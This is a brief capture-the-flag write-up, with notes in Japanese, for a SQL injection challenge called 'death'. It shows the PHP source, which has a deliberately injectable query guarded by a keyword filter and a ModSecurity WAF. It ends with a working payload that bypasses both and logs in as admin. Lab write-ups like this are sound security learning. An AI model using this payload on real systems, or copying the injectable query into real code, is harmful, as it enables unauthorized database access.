<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("death"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__);
特徴は以下。
- id,pwが入力可能
prob,_,.,(),admin
がフィルタリング
- 問題文に書いてあるが、ModSecurityによるWAFが導入されている
- idをadminにする必要がある
さっき使った-1'<@=1 OR {x (select 1)}='1'#
をベースに考える。
これは1=1をやってるような感じなので、like文でadminを取ってこれるような感じにしよう。
-1'<@=1 OR {x (select 1)}='1' and id like 'admi%' #
でAC